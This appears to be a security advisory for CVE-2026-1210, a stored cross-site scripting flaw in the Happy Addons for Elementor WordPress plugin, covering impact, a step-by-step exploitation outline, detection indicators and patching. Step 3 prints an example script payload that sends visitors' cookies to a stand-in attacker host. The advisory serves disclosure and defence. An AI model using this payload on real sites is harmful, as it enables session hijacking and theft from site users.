CVE-2026-1210: 
WordPress vulnerability analysis and mitigation

CVE-2026-1210 is a Stored Cross-Site Scripting (XSS) vulnerability in the Happy Addons for Elementor WordPress plugin, affecting all versions up to and including 3.20.7. The flaw exists in the _elementor_data meta field due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or above to inject arbitrary web scripts into pages. It was published on February 3, 2026, and carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). Specifically, the _elementor_data meta field in the plugin's svg-draw/widget.php and age-gate/widget.php widgets fails to properly sanitize user-supplied input before storing it and escape it before rendering it in the browser. An authenticated attacker with at least Contributor-level WordPress access can craft a malicious Elementor page element containing JavaScript payloads, which are then stored in the database and executed in the context of any user who visits the affected page (Wordfence, WordPress Trac).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browsers of users who visit the compromised page, including administrators. This can lead to session cookie theft, credential harvesting, unauthorized actions performed on behalf of victims, defacement of site content, and potential privilege escalation if an administrator's session is hijacked. The scope is marked as Changed, meaning the impact extends beyond the attacker's own session to affect other users of the site (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2026-1210 as of the available data. The EPSS score is approximately 0.042%, indicating a low probability of exploitation in the near term. The vulnerability requires authenticated access at the Contributor level, which limits the attack surface compared to unauthenticated vulnerabilities. It has not been added to the CISA Known Exploited Vulnerabilities (KEV) catalog (Wordfence).

1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on the target site running Happy Addons for Elementor ≤ 3.20.7.
2. Create or Edit a Page: Navigate to the WordPress editor and create or edit a page using the Elementor builder with the Happy Addons plugin active.
3. Inject Malicious Payload: Add an affected widget (e.g., SVG Draw or Age Gate) to the page and insert a malicious JavaScript payload into the widget's configuration field that maps to the _elementor_data meta field (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Publish the Page: Submit or publish the page, causing the unsanitized payload to be stored in the WordPress database.
5. Trigger Execution: When any user (including administrators) visits the injected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Wordfence, WordPress Trac).

• Database: Unexpected JavaScript or <script> tags stored in the wp_postmeta table within the _elementor_data meta field for pages using Happy Addons widgets.
• Logs: WordPress access logs showing POST requests to /wp-admin/post.php or the REST API endpoint for Elementor data from low-privileged contributor accounts, particularly with encoded or obfuscated content in the body.
• Network: Outbound requests from victim browsers to unknown external domains shortly after visiting pages with Happy Addons widgets (indicative of data exfiltration via injected scripts).
• File System: No direct file system artifacts expected for stored XSS; however, review Elementor page data exports for embedded script tags in widget configurations.

Users should update the Happy Addons for Elementor plugin to version 3.20.8 or later, which contains the fix for this vulnerability. The patch was introduced in changeset 3451894 on the WordPress plugin repository, addressing the insufficient sanitization in the affected widgets (WordPress Trac). As a temporary workaround, site administrators can restrict Contributor-level user registration or disable the affected widgets (SVG Draw, Age Gate) until the update is applied. Enabling a Web Application Firewall (WAF) with XSS filtering rules can also help mitigate exploitation risk (Wordfence).

Wordfence disclosed the vulnerability as part of their weekly WordPress vulnerability report for February 2–8, 2026, and Sucuri included it in their February 2026 vulnerability patch roundup, indicating routine coverage within the WordPress security community (Wordfence Blog, Sucuri Blog). No significant social media controversy or high-profile researcher commentary has been observed beyond standard advisory coverage.